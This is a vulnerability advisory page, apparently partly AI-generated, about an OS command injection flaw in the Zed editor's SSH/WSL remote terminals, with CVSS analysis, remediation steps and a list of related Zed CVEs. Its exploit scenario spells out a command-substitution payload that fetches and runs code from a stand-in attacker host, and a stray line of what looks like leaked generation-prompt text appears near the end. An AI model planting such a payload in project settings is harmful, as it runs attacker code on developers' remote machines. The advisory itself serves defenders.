Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft project with malicious env key
-
DeliveryDeliver project to victim (repo/share)
-
ExploitVictim opens project in vulnerable Zed
-
ExecutionVictim launches SSH/WSL terminal
-
PersistUnquoted key expanded by remote shell
-
ImpactArbitrary commands run as victim on remote host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires that the attacker can control an environment variable key in Zed's project terminal settings (e.g., via a malicious or compromised shared project/repo) and that the victim then opens that project in Zed prior to version 0.227.1 and launches a remote terminal using the SSH or WSL backend - at which point the unquoted key is concatenated into the 'exec env ...' shell string and expansions like $(...) execute. Exploitation is limited by required user interaction (CVSS UI:R) to open the project and trigger a remote terminal, the need for an SSH or WSL remote target to be configured, and the local attack vector (AV:L) implying delivery of the malicious settings to the victim's Zed instance rather than direct network reachability. |
| Impact | The CVSS 3.1 base score of 8.6 reflects local attack vector (AV:L) with low complexity (AC:L), no privileges (PR:N), but required user interaction (UI:R) and a scope change (S:C) with high impact across confidentiality, integrity, and availability - consistent with attacker-controlled project settings being weaponized when a victim opens a remote terminal. The vulnerability is not listed in CISA KEV and no public exploit identified at time of analysis; EPSS data was not provided. Realistically, exploitation depends on a social-engineering or supply-chain style delivery: the victim must open a project whose terminal settings are attacker-controlled and then open a remote terminal, which limits opportunistic mass exploitation but makes it a credible threat in collaborative, multi-tenant, or shared-repo contexts. AV:L is consistent with the attack surface - settings are processed locally by Zed even though the command ultimately runs on a remote host. |
| Exploit ScenarioDerived | An attacker commits malicious project-level Zed terminal settings to a shared repository that define an environment variable whose key contains a command substitution such as $(curl attacker.example/x|sh). When a developer clones the repo, opens it in a vulnerable Zed (<0.227.1), and launches an SSH or WSL terminal, Zed builds the 'exec env ...' command and the remote shell evaluates the injected expansion, executing the attacker's payload on the remote host as the victim. No public exploit identified at time of analysis, but the technique is straightforward given the description. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 28, 2026
Remote command execution in Zed code editor versions prior to 0.227.1 occurs when opening SSH or WSL remote terminals because environment variable keys are passed into a shell command string without quoting or validation. An attacker who can influence project terminal settings (for example, through a shared or malicious project) can embed shell expansions such as $(...) into env var keys, achieving arbitrary command execution on the remote host as the victim user when they open a terminal. No public exploit identified at time of analysis, but the issue is fixed in Zed 0.227.1.
RemediationAI
Vendor-released patch: Zed 0.227.1 - upgrade all Zed installations to 0.227.1 or later as the primary fix, per the advisory at https://github.com/zed-industries/zed/security/advisories/GHSA-63qj-jc2q-7hg5. Until upgrade is possible, avoid opening untrusted or shared projects in Zed and, for projects you must open, inspect and remove any custom env entries in terminal/project settings before launching SSH or WSL terminals; treat project-level configuration files (e.g., .zed/ workspace settings committed in a repo) as executable content. As an additional compensating control, refrain from opening remote (SSH/WSL) terminals from suspect projects, since the injection only fires when the remote terminal command is constructed - at the cost of losing remote terminal workflow for those projects.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Zed is a collaborative, multi-developer code editor from Zed Industries (CPE cpe:2.3:a:zed-industries:zed) that supports executing terminals on remote targets over SSH and Windows Subsystem for Linux. To launch a remote terminal, Zed constructs a shell command string of the form 'exec env KEY=VALUE ... <cmd>'. The root cause maps to CWE-78 (OS Command Injection): while the values may be handled, the environment variable keys themselves are concatenated into the command string without shell quoting or character whitelisting, so any shell metacharacters or command substitutions embedded in a key are evaluated by the remote shell at terminal launch time.
Know when Zed gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
1DescriptionGitHub Advisory
Zed is a code editor. Prior to 0.227.1, Zed builds SSH/WSL remote commands as a shell command string that starts with exec env ..., but environment variable keys are inserted without shell quoting or validation. If an attacker can control an environment variable key (for example via project terminal settings), shell expansions in the key (such as $(...)) are evaluated by the remote shell when a terminal is opened. This can lead to arbitrary command execution on the remote host under the victim user's account. This vulnerability is fixed in 0.227.1.
Executive ViewAI
Zed code editor versions prior to 0.227.1 contain a remote command execution vulnerability affecting SSH and WSL terminal functionality that allows attackers to execute arbitrary commands on remote systems if they can modify project terminal environment variables. This directly threatens development infrastructure, enabling potential compromise of developer credentials, source code repositories, and remote systems accessed by development teams.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Zed, a code editor, has an extension installer allows tar/gzip downloads. [CVSS 8.8 HIGH]
Zed code editor versions prior to 0.224.4 contain a path traversal vulnerability in ZIP extraction that fails to sanitiz
Arbitrary code execution in the Zed code editor affects all versions prior to 0.218.2-pre, where Model Context Protocol
Arbitrary code execution in the Zed code editor (all versions prior to 0.218.2-pre) lets a project's .zed/settings.json
Zed code editor versions before 0.225.9 fail to properly validate symbolic links in Agent file tools, allowing attackers
Zed Editor versions prior to 0.219.4 fail to display tool invocation parameters during permission prompts or after execu
A directory traversal vulnerability with remote code execution in Prim'X Zed!. Rated critical severity (CVSS 9.8), this
Remote code execution in Zed code editor versions prior to 0.227.1 occurs when a user opens a folder containing a malici
Arbitrary code execution in the Zed code editor (versions prior to 0.229.0) is possible by abusing its terminal tool per
Command injection in Zed code editor versions prior to 0.229.0 allows bypass of the terminal tool's permission allowlist
By default, .ZED containers produced by PRIMX ZED!. Rated high severity (CVSS 7.5), this vulnerability is remotely explo
We are tasked to synthesize data from multiple intelligence sources about CVE-2026-44462 into a comprehensive JSON analy
EUVD-2026-32936
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB